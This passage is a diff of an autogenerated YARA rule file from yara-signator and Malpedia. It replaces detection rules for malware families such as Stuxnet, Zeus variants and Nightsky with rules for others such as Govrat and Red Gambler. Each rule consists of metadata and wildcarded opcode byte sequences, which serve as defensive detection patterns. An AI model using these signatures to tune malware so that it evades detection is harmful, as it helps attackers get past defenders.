"ca50544df2308cc151f303c9210769038ba6545078bcd4dca147dd52915255ab" + logic_hash = "773a75cc27f4f0e2a9753a7f457b50e9ee585cad286c778ed87544df88619b9a" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112014,70 +112082,34 @@ rule MALPEDIA_Win_Prikormka_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d0446 50 e8???????? 83c40c 6a00 56 } - $sequence_1 = { 6a00 56 ffd3 8b2d???????? 85c0 7405 } - $sequence_2 = { 8d1446 52 e8???????? 83c40c } - $sequence_3 = { 6800020000 ff15???????? 68???????? ffd7 03c0 50 68???????? } - $sequence_4 = { 51 e8???????? 83c40c 68???????? ffd7 } - $sequence_5 = { 85f6 7420 68???????? ffd7 } - $sequence_6 = { 6a00 56 ffd3 85c0 7405 6a02 56 } - $sequence_7 = { 740e 68???????? 50 ff15???????? ffd0 } - $sequence_8 = { 7408 41 42 3bce } - $sequence_9 = { 83c40c 8d442404 50 ff15???????? 5e 85c0 } - $sequence_10 = { 59 c3 50 ff15???????? b801000000 } - $sequence_11 = { 6a00 6a00 ff15???????? 85c0 7502 59 c3 } - $sequence_12 = { 0fb7c0 6683f805 7d09 b801000000 } - $sequence_13 = { c3 57 6a00 6a00 6a00 6a02 } - $sequence_14 = { 68???????? ff15???????? 0fb7c0 6683f805 } - $sequence_15 = { ff15???????? ffd0 c705????????01000000 c705????????01000000 } - $sequence_16 = { 5e 85c0 7422 68???????? 50 } - $sequence_17 = { 5e 85c0 7414 c705????????01000000 } - $sequence_18 = { 33f6 e8???????? e8???????? e8???????? e8???????? e8???????? e8???????? } - $sequence_19 = { 6685d2 75f5 2bce 8d1400 52 d1f9 } - $sequence_20 = { 8bf0 ff15???????? 3db7000000 751f } - $sequence_21 = { 50 e8???????? 8b2d???????? 83c40c 6a00 } - $sequence_22 = { 3db7000000 751f 56 ff15???????? 33c0 } - $sequence_23 = { 668b08 83c002 6685c9 75f5 8b0d???????? 2bc2 8b15???????? } - $sequence_24 = { d1f8 8d7102 8da42400000000 668b11 83c102 6685d2 } - $sequence_25 = { e8???????? 8b35???????? 83c40c 68???????? ffd6 03c0 } - $sequence_26 = { 50 e8???????? b8???????? 83c40c 8d5002 } - $sequence_27 = { 6685c9 75f5 8d0c12 2bc6 51 d1f8 8d544408 } - $sequence_28 = { 75f5 2bc6 8d0c12 51 d1f8 } - $sequence_29 = { 85c0 7409 6a02 68???????? } - $sequence_30 = { 52 0fb754241c 50 0fb7442422 } - $sequence_31 = { e8???????? 83c40c eb0d 6a00 6800020000 ff15???????? } - $sequence_32 = { 68???????? 33ff 57 57 ff15???????? 8bf0 } - $sequence_33 = { 68???????? ffd6 50 68???????? 57 ffd6 03c7 } - $sequence_34 = { 75f5 2bc2 b9???????? d1f8 8d7102 668b11 } - $sequence_35 = { 83c002 6685c9 75f5 2bc6 03d2 52 } - $sequence_36 = { 6685d2 75f5 8d1400 2bce 52 d1f9 } - $sequence_37 = { d1f8 8bd0 b8???????? 8d7002 } - $sequence_38 = { b8???????? 8d7002 8da42400000000 668b08 83c002 } - $sequence_39 = { 8b1d???????? 83c40c 6a00 68???????? } - $sequence_40 = { 50 e8???????? b9???????? 83c40c 8d5102 668b01 } - $sequence_41 = { c20400 6a0c b8???????? e8???????? 33c0 8945ec } - $sequence_42 = { 6a00 8d45f8 50 8d34fd0cde0110 ff36 e8???????? } - $sequence_43 = { 50 43 6a02 43 } - $sequence_44 = { 8d4514 50 e8???????? 53 8d4d00 } - $sequence_45 = { 3bfb 7d12 8b4de4 53 } + $sequence_0 = { 8b4838 334820 334818 33480c } + $sequence_1 = { 68???????? e8???????? e8???????? be???????? 68???????? 56 c705????????03000000 } + $sequence_2 = { 8bce e8???????? eb03 8b7d08 8b1d???????? 8d45f4 } + $sequence_3 = { 33480c 334804 51 e8???????? 8b8ec0000000 53 ff75f0 } + $sequence_4 = { 334dec 57 ff75fc 334dfc } + $sequence_5 = { 5e c9 c20c00 55 8bec 81ec80020000 53 } + $sequence_6 = { 57 8bce ff15???????? 8bc6 5f 5e c9 } + $sequence_7 = { 8945f4 8b06 f7d8 23c1 03f3 8945fc } + $sequence_8 = { 334834 6a01 334828 334814 51 } + $sequence_9 = { eb02 33db 6a01 e8???????? 84c0 59 750d } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Safenet_Auto : FILE +rule MALPEDIA_Win_Infy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f291e692-0cf7-535f-829f-d3eb37065334" + id = "3e52df24-aedf-51dc-878e-bd87d1c8f8c2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.safenet_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.infy_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "8771350f205428c4c7fbcedc7de0eba58fbdfc684579398209f093f9a759ec1a" - score = 75 - quality = 75 + logic_hash = "66e1e03eb3c288253d677feb2572d3dd19031bc03f792127c5e2fe93ef218916" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112089,32 +112121,32 @@ rule MALPEDIA_Win_Safenet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4db4 50 c645fc01 e8???????? 8b4d08 } - $sequence_1 = { ff15???????? eb5a ff75fc ff15???????? } - $sequence_2 = { 8b45fc 3bc3 7504 c6461401 } - $sequence_3 = { 51 8d8d7cffffff ff7634 51 50 ffd3 85c0 } - $sequence_4 = { 68???????? 57 ff15???????? 3bc6 7505 83ceff } - $sequence_5 = { 3b1d???????? 0f8315010000 8bc3 8bcb c1f805 83e11f 8b048540174100 } - $sequence_6 = { 50 ff7638 57 ff7618 ff55f8 } - $sequence_7 = { 8d34b5d0d84000 83c00c 3bc6 7305 395004 } - $sequence_8 = { ff750c e8???????? ff75ec e8???????? ff75e8 e8???????? } - $sequence_9 = { c745bc3c000000 c745c040040000 ff15???????? 8945c4 8d85b4fdffff 8945cc } + $sequence_0 = { 85ff 7e2e 4e 8bd0 } + $sequence_1 = { 33d2 e8???????? eb2d 3b7df8 7514 8b45f0 } + $sequence_2 = { 740e 8d45d0 50 6a03 ff15???????? 8bd8 85db } + $sequence_3 = { 50 89c6 8b449d04 85c0 7412 } + $sequence_4 = { 837dec00 740b 8b45f0 8b55f8 } + $sequence_5 = { 833d????????00 740e 8d55d0 52 6a01 } + $sequence_6 = { b8???????? e8???????? b8???????? e8???????? 807b2800 7514 } + $sequence_7 = { 85f6 7d04 33ff eb0a 8bf8 2bfb } + $sequence_8 = { 7502 eb06 8b1b 85db } + $sequence_9 = { 0fb74af4 870c24 51 8b4afc e9???????? } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Avrecon_Auto : FILE +rule MALPEDIA_Win_Acridrain_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e925dd84-abb8-59f0-bccd-32907a99e474" + id = "ef433885-2f79-5863-bbed-81d7d31ae677" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avrecon_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acridrain_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "765f86e5cde1b429c99a3eaacfdc82ca40acf684e216c378122ba2b0c85c22ec" + logic_hash = "be1111fbfc299034daf1631180c40c75225491471e67ad1cf19bc33316287e9b" score = 75 quality = 75 tags = "FILE" @@ -112128,32 +112160,32 @@ rule MALPEDIA_Win_Avrecon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a24 8d4554 50 e8???????? } - $sequence_1 = { 8d45f8 50 53 ff75ec c745f801000000 ffd7 83f8ff } - $sequence_2 = { 83791c01 7511 6a00 8d4514 50 56 57 } - $sequence_3 = { 8d4401fc c7457401000000 894570 8d7c1f04 837d7000 } - $sequence_4 = { 807d7301 7508 e8???????? 885d73 8d85a8f3ffff 50 } - $sequence_5 = { 8d85a8f7ffff 50 c7454000040000 ff15???????? } - $sequence_6 = { 51 894d30 33c0 8d8d18feffff 40 51 50 } - $sequence_7 = { 50 bb7f660440 53 ff7508 c745f801000000 ffd7 83f8ff } - $sequence_8 = { 50 e8???????? 85c0 7466 6a0e 68???????? } - $sequence_9 = { 83650800 b8e8030000 660105???????? 0fb705???????? 50 ffd6 668945de } + $sequence_0 = { ff8ea0000000 8bf8 897df0 83ff64 741e 83bb8400000000 7c15 } + $sequence_1 = { ff7048 e8???????? 83c404 85f6 0f85c4000000 8b4dec 8bc7 } + $sequence_2 = { f6401604 57 8b7a38 7414 8b45f0 51 03c7 } + $sequence_3 = { f20f5945d4 f20f5905???????? e9???????? 81fe56010000 7c2a 8bcf e8???????? } + $sequence_4 = { e8???????? 33c9 0fb6db 83c408 84c0 0f45d9 895c2414 } + $sequence_5 = { 8b4e08 3bcb 740d 40 83c654 3bc2 72f1 } + $sequence_6 = { ff7548 68???????? 55 e8???????? 83c40c 85c0 0f85b8010000 } + $sequence_7 = { 8b7d08 8b472c 85c0 0f84a6000000 53 8b5d0c 56 } + $sequence_8 = { ff75f4 ff750c 57 e8???????? 83c418 85c0 0f84b3feffff } + $sequence_9 = { e8???????? ff75cc 57 53 e8???????? 8b55b8 52 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 2244608 } -rule MALPEDIA_Win_Vmzeus_Auto : FILE +rule MALPEDIA_Win_Absentloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b33099d-6223-5a8a-8424-386c7b1a44ee" + id = "6f362b30-2c49-5b13-a74d-e646b2c361d8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vmzeus_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.absentloader_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "17e1987d98b8da94f97f8bd71f2765f1dddeafbd1967101797951278b17d5b65" + logic_hash = "ec030f0c846e40821b8f0d08fe92e09a60380de99ecc678dae260a482a99d7bb" score = 75 quality = 75 tags = "FILE" @@ -112167,32 +112199,32 @@ rule MALPEDIA_Win_Vmzeus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3a4 b001 eb02 32c0 } - $sequence_1 = { 7508 6a04 58 e9???????? 32c0 6a4c } - $sequence_2 = { 6a4c 8d7c242c 59 f3aa } - $sequence_3 = { f3a4 b001 eb02 32c0 5f 5e } - $sequence_4 = { 58 e9???????? 32c0 6a4c 8d7c242c 59 f3aa } - $sequence_5 = { e9???????? 32c0 6a4c 8d7c242c } - $sequence_6 = { 58 e9???????? 32c0 6a4c 8d7c242c } - $sequence_7 = { 7508 6a04 58 e9???????? 32c0 } - $sequence_8 = { 6a10 32c0 59 8bfb } - $sequence_9 = { 6a04 58 e9???????? 32c0 6a4c } + $sequence_0 = { e8???????? 50 8bce e8???????? 834dfcff 8d85f0f9ffff 50 } + $sequence_1 = { 8b08 8bc3 2bc1 c1f804 3bf0 7238 } + $sequence_2 = { 5e 8b448dd8 83e825 6bc033 99 f7fe } + $sequence_3 = { 6a7f 0f1145dc c745ec59000000 5f 6a32 58 2b448ddc } + $sequence_4 = { 48 a3???????? ff15???????? 8b0d???????? 89048db09506fd 5d c3 } + $sequence_5 = { 68087905fd 68007905fd 68087905fd 6a06 e8???????? 8bf0 } + $sequence_6 = { e8???????? 83ec18 c645fc07 8bcc 68a8f905fd 895910 c741140f000000 } + $sequence_7 = { 8b08 bfc8aa06fd 0f2805???????? a1???????? 0f1145dc c745ec0e5a410e } + $sequence_8 = { 40 83f80e 72f6 8bc1 c3 80791300 740c } + $sequence_9 = { 57 bf88a706fd 8d75e8 689f0705fd a5 a5 } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 794624 } -rule MALPEDIA_Win_Fakerean_Auto : FILE +rule MALPEDIA_Win_Furtim_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9b6d4199-0c17-5326-ad0f-5be4f4e0c769" + id = "ad577b23-66c9-5c51-817c-414dfaa85803" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakerean_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.furtim_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "697015d76e682efb24cb879c686000a5c02640696936de86fa6c90584950d55f" + logic_hash = "d317e4f334ec1dda33c613c0848248b97fb2b5924cd44cad020709ead778cee8" score = 75 quality = 75 tags = "FILE" @@ -112206,32 +112238,32 @@ rule MALPEDIA_Win_Fakerean_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7508 898348030000 ff15???????? 5f 5e 5b c9 } - $sequence_1 = { 50 e8???????? 83c40c 8b4640 2b4638 85c0 7f1c } - $sequence_2 = { ff15???????? a1???????? 8b08 6a01 ff35???????? 50 ff5128 } - $sequence_3 = { 8845f8 84c9 7419 8b4508 0345fc 0fb6d9 } - $sequence_4 = { 8d45f0 50 ff7608 ff15???????? 83f801 743e 83f802 } - $sequence_5 = { e8???????? 83c428 8935???????? 5f 5e c9 c3 } - $sequence_6 = { 8b45f0 eb03 8b45ec 8945f8 eb1d 8b45fc ebf6 } - $sequence_7 = { 8bc2 ab ab ab ab 6a08 59 } - $sequence_8 = { c6450f30 eb0f 83fe01 0f95c0 fec8 2420 0441 } - $sequence_9 = { f7fb 83c230 668911 03cf 397d0c 7512 85c0 } + $sequence_0 = { c3 55 8bec 83ec68 53 56 68???????? } + $sequence_1 = { 85c0 7413 8b4c2424 8bd1 2bd6 8a12 8811 } + $sequence_2 = { 55 8bec 8b4508 ff34c5d0404100 ff15???????? 5d c3 } + $sequence_3 = { 5e 5b c9 c20800 56 8bf1 ff96d4060000 } + $sequence_4 = { 8bf8 68???????? 57 ff961c070000 83c40c 6a0b 57 } + $sequence_5 = { 33db 895de8 8d7dec ab ab ab 8d45fc } + $sequence_6 = { ff969c020000 85c0 0f850d010000 33db 399e08060000 0f84f7000000 33c0 } + $sequence_7 = { 895df4 ff9660060000 85c0 7532 385dfc 742d 0fb645fc } + $sequence_8 = { 7405 8bce ff5614 53 53 56 ffb640070000 } + $sequence_9 = { 56 53 ffb360020000 8975fc 56 } condition: - 7 of them and filesize < 4071424 + 7 of them and filesize < 622592 } -rule MALPEDIA_Win_Stuxnet_Auto : FILE +rule MALPEDIA_Win_W32Times_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "64e9fab1-7d89-5a6e-8a31-2df625be17c1" + id = "8d0ca9de-72d5-5416-8ea3-4ffe99cecdda" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stuxnet_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.w32times_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "0de893dd2abe057bcddad1952313e85e04a81b980ccf81d569805dbd5ff30eda" + logic_hash = "f7e65aa826ad4cf269428f43fa98d18142b27ed083ec25ea57e656102267e97a" score = 75 quality = 75 tags = "FILE" @@ -112245,32 +112277,32 @@ rule MALPEDIA_Win_Stuxnet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 84c0 7504 804e1104 e8???????? 84c0 7404 } - $sequence_1 = { ff750c 8d4580 50 e8???????? 33db 895dfc 8d4580 } - $sequence_2 = { ff75f8 8d963c0b0000 57 e8???????? 59 59 5f } - $sequence_3 = { c3 8b44240c 8906 33c0 40 5e c3 } - $sequence_4 = { 8d4580 50 8d8540ffffff 50 e8???????? c645fc05 50 } - $sequence_5 = { e8???????? ff75c8 8d45ec 50 e8???????? ff75c9 8d45ec } - $sequence_6 = { b8???????? e8???????? 51 8365f000 56 8b7508 8d45f0 } - $sequence_7 = { e8???????? eb02 33c0 c645fc00 8b7d08 83c704 50 } - $sequence_8 = { e8???????? 8906 895604 c9 c3 8b08 8b4004 } - $sequence_9 = { 8955ec c7042410270000 e8???????? c645fc01 8b0e 8b01 6a02 } + $sequence_0 = { 8d44240c 6a00 50 53 57 56 c744242000000000 } + $sequence_1 = { 6a03 55 6a01 8d8c2410080000 6800000080 } + $sequence_2 = { 51 ffd6 8b4500 8d54242c } + $sequence_3 = { 8bcd 4f c1e902 f3a5 8bcd 8d9424ec010000 83e103 } + $sequence_4 = { 3b9c24000d0000 0f84cc090000 8a8424f0020000 84c0 0f84bd090000 8a8424e8000000 84c0 } + $sequence_5 = { 7534 8b2d???????? 46 56 68???????? } + $sequence_6 = { 8bd8 ffd7 56 ffd7 53 ff15???????? } + $sequence_7 = { ebd7 68???????? ff15???????? 8b1d???????? 68???????? ff15???????? 85db } + $sequence_8 = { b941000000 bf???????? f3ab b941000000 8dbc24f8050000 } + $sequence_9 = { 83c40c 85c0 0f85e00c0000 8b4b04 6a04 } condition: - 7 of them and filesize < 2495488 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Zxxz_Auto : FILE +rule MALPEDIA_Win_Govrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6bed2c22-407f-5c6f-838c-89149563448f" + id = "0c1f568e-0870-502d-8ab7-d2bc8e9569e8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zxxz_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.govrat_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "9578e76393d5b7664234570897b9446d75c18108dd9f2d16b199e15d869c1364" + logic_hash = "abfba34e1bd79612302779859a269397cc43e8444d7e6090aaef75a3d69df6b1" score = 75 quality = 75 tags = "FILE" @@ -112284,37 +112316,32 @@ rule MALPEDIA_Win_Zxxz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd3 e8???????? 6830750000 ffd3 6a01 6a00 } - $sequence_1 = { 68fa000000 50 ffd5 83c40c 68???????? 8d4c2414 } - $sequence_2 = { c605????????01 6830750000 ffd3 68???????? } - $sequence_3 = { c20400 8bfe 83cf0f 81ffffffff7f 7627 } - $sequence_4 = { 8d4c2430 c744241401000000 c644242400 ff15???????? 8bc5 8b4c241c } - $sequence_5 = { 83c404 e8???????? 803d????????00 7435 33c0 68fe1f0000 } - $sequence_6 = { ff7508 8945f4 6a00 68e9fd0000 ffd0 } - $sequence_7 = { 51 ff55ec 83c404 8bc6 8bcf 8901 } - $sequence_8 = { 6a01 6a01 68???????? ffd7 a1???????? 2bc3 } - $sequence_9 = { 8b01 ff5004 c745fcffffffff 8b9558feffff 83c2f0 } - $sequence_10 = { eb23 03c8 c744241c01000000 83fa02 770c 8079fe3d 7506 } - $sequence_11 = { 33c0 68f8000000 8bd9 50 } - $sequence_12 = { c705????????1cb94000 7410 a1???????? 85c0 7407 50 } - $sequence_13 = { 85c0 0f84ef000000 eb06 8bc7 8930 } - $sequence_14 = { 8bc6 8931 6a00 6a00 53 } + $sequence_0 = { 8d4dc4 e8???????? 8b00 50 8d4708 895f10 895f14 } + $sequence_1 = { 897804 8b7904 8930 8b31 0facfe01 d1ef 83780400 } + $sequence_2 = { 59 03f1 8dbc24b8000000 33c0 f3a7 7418 } + $sequence_3 = { ff15???????? 83a65401000000 c3 53 55 56 8d6f44 } + $sequence_4 = { ff15???????? 83a65401000000 c3 53 55 } + $sequence_5 = { 6a00 6a00 ff15???????? 8b4c2404 8901 85c0 7404 } + $sequence_6 = { 832d????????04 e9???????? 55 8bec 83ec14 a1???????? 53 } + $sequence_7 = { 7543 837d1000 0f845cfeffff 8b87a8000000 2b442420 8b8fac000000 1b4c2424 } + $sequence_8 = { 8d4df8 8d4518 e8???????? 8b45f8 0b45fc 750a 2145fc } + $sequence_9 = { 8945f8 8b4508 ff700c ff15???????? 8bf0 } condition: - 7 of them and filesize < 4142080 + 7 of them and filesize < 761856 } -rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE +rule MALPEDIA_Win_Gibberish_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c279999-73dd-553b-a33f-fb7233640f4d" + id = "d0f0a81c-c436-554f-886e-c05189a90753" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_kt3_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gibberish_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "43bd0b6c16f3b291b1fdceb004531872c299302c3bdde3bd6c507ecd76a92465" + logic_hash = "ec3ea314ac6eedd0a24b154c568d1f6c449d7a6dabe6072547ddc0bc708507da" score = 75 quality = 75 tags = "FILE" @@ -112328,34 +112355,34 @@ rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c1ff 51 8b4df4 51 8b15???????? 52 } - $sequence_1 = { 51 e8???????? 83c404 8985e0fbffff 8b85e0fbffff 8985ecfbffff } - $sequence_2 = { 8b4dfc 0fbe5103 83fa3e 750f } - $sequence_3 = { 0f8408000000 0f8502000000 ebe9 c745dc00000000 } - $sequence_4 = { 8b55f8 2b55fc 8955f8 ebb7 8b4510 5f } - $sequence_5 = { 51 8b55f4 52 8d4de4 e8???????? 8b45e8 } - $sequence_6 = { 8b4dfc 83c10b 894df4 6a20 } - $sequence_7 = { 8d41fc 8b4c2404 2bc1 c3 6800000300 } - $sequence_8 = { 8dbdecfeffff 83c9ff 33c0 f2ae f7d1 83c1ff } - $sequence_9 = { 51 8b55f4 52 8d4de4 e8???????? } + $sequence_0 = { 894dec 8975e8 668907 894dfc 8bce c745f001000000 8d5102 } + $sequence_1 = { 8b74242c 8bd0 8944245c 8bce 8bc6 c1c90b c1c007 } + $sequence_2 = { 68???????? ff15???????? 85c0 7424 56 56 8d85fcfffdff } + $sequence_3 = { 8b0ccdf2a94700 0fb680c8a94500 330cc5f1a94700 8bc2 c1e818 0fb680c8a94500 330cc5f4a94700 } + $sequence_4 = { 330a 85d2 894b04 8d4a04 0f44ca } + $sequence_5 = { ffd3 8b45d8 8d3446 33c0 83c602 663906 75c3 } + $sequence_6 = { f30f7e05???????? 0f114c2420 0f284c2450 660f3840c8 0f10442420 0f11542470 } + $sequence_7 = { 7535 017524 297528 2bd6 8b5c242c 5f } + $sequence_8 = { 6af5 eb03 50 6af6 ff15???????? 8b04bd80b64700 } + $sequence_9 = { 33c8 8b44241c 33c6 23442414 33c6 03c8 8b442474 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 1068032 } -rule MALPEDIA_Win_Nightsky_Auto : FILE +rule MALPEDIA_Win_Red_Gambler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "49806bb3-db04-5175-bd2d-05a084f5301e" + id = "424f410a-a1db-5f80-8bc0-d2770de1bebd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightsky_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.red_gambler_auto.yar#L1-L298" license_url = "N/A" - logic_hash = "58c0a44a79ed929ad206a6701f3a4c117bf07ad9e9a507d5d3b0ad9c115c5cd3" + logic_hash = "b3fef0f5439e9ff88d33fd6c22b22c41979ab9321c0a109b616fbbcd9f2274a0" score = 75 - quality = 75 + quality = 71 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112367,32 +112394,54 @@ rule MALPEDIA_Win_Nightsky_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bda 420fb6bc3010680500 418bc3 c1e708 48c1e810 0fb6c8 420fb6843110680500 } - $sequence_1 = { 83f806 0f879c010000 488d155277ffff 4898 8b8c82948a0000 4803ca ffe1 } - $sequence_2 = { 488bd7 498bcc ff15???????? 4c8d4c2470 48895c2420 41b800000800 498bd6 } - $sequence_3 = { 4883c602 66833e00 758d 483bf5 765e 482bf5 48d1fe } - $sequence_4 = { 488905???????? 4885db 488d059af90400 488905???????? b830000000 480f44d8 486305???????? } - $sequence_5 = { 4983f940 72eb e9???????? 488d059e1f0000 48b90000000000000080 488987c8000000 488d0576900200 } - $sequence_6 = { 488d05ba8b0200 c7475001000000 48c7475804000000 48894778 488d0508520300 c7476801000000 48c7477004000000 } - $sequence_7 = { e8???????? 486305???????? 4c8d0516060500 83f814 0f8d99000000 488bc8 488d0480 } - $sequence_8 = { 458b849610710500 48c1eb18 4533848e10810500 4533848610640500 410fb6c3 49c1eb08 410fb6ca } - $sequence_9 = { 0fb64103 468b8c8710750500 0fb6943810630500 0fb64102 44338c9710640500 0fb6943810630500 } + $sequence_0 = { 6800010000 8d440601 50 68???????? e9???????? 68???????? } + $sequence_1 = { 55 8bec 837d0c10 56 57 } + $sequence_2 = { 8d55fc 52 56 6a00 6880000000 6a02 ffd7 } + $sequence_3 = { 33db 68ff000000 8d44244d 53 } + $sequence_4 = { 8b1d???????? 8da42400000000 6a00 68???????? ffd3 } + $sequence_5 = { ff15???????? 85c0 7520 8b542418 52 8d84243c010000 } + $sequence_6 = { 33c8 03ff 03ff 83e1f0 } + $sequence_7 = { 90 57 8d95fcfeffff 52 } + $sequence_8 = { 52 ff15???????? 8d8594fbffff 50 } + $sequence_9 = { 7f6f c8603a0c 7364 42 e5e1 5f } + $sequence_10 = { 3d067c263c 3c3d 9e e7bd } + $sequence_11 = { 6800010000 8d8dfcfdffff 51 6a00 } + $sequence_12 = { 64f33c87 3cfb 3ccd 047e 0000 3e2a6616 2bb0775ea707 } + $sequence_13 = { ff15???????? 83c414 6a00 6a00 8d9598fbffff } + $sequence_14 = { 8d8594fbffff 50 8d4d98 51 ff15???????? } + $sequence_15 = { 2bb0775ea707 2d9e2b3706 d7 e8???????? 004f21 7ea2 } + $sequence_16 = { 6800010000 8d85fcfeffff 50 6a00 ff15???????? } + $sequence_17 = { 68???????? 8d8d98fbffff 68???????? 51 } + $sequence_18 = { 8d9598fbffff 52 68???????? 6a00 6a00 ff15???????? 8b4dfc } + $sequence_19 = { 2b2a bee7eee947 7c26 0e 6706 7e0e 2829 } + $sequence_20 = { 8d5598 52 8d8598fdffff 50 68???????? 8d8d98fbffff } + $sequence_21 = { 6800010000 8d8d98fdffff 51 8d9598feffff } + $sequence_22 = { 74be 6f 665b e17a 6c 8737 27 } + $sequence_23 = { 4c 48 44 40 } + $sequence_24 = { 6e 44 b11a dfaf4e71ac05 } + $sequence_25 = { ff96bcd60000 83c704 8d5efc 31c0 } + $sequence_26 = { ffd3 68???????? 56 8bf8 ffd3 8bd8 ffd7 } + $sequence_27 = { ff15???????? 40 68???????? 50 ff15???????? 8d8dfcfeffff } + $sequence_28 = { a1???????? a3???????? a1???????? c705????????6b214000 8935???????? a3???????? } + $sequence_29 = { c1f805 c1e606 033485c0974000 8b45f8 } + $sequence_30 = { 85f6 0f8492000000 8b1d???????? 68???????? } + $sequence_31 = { f2ae 55 ff96acd60000 09c0 7407 8903 83c304 } condition: - 7 of them and filesize < 19536896 + 7 of them and filesize < 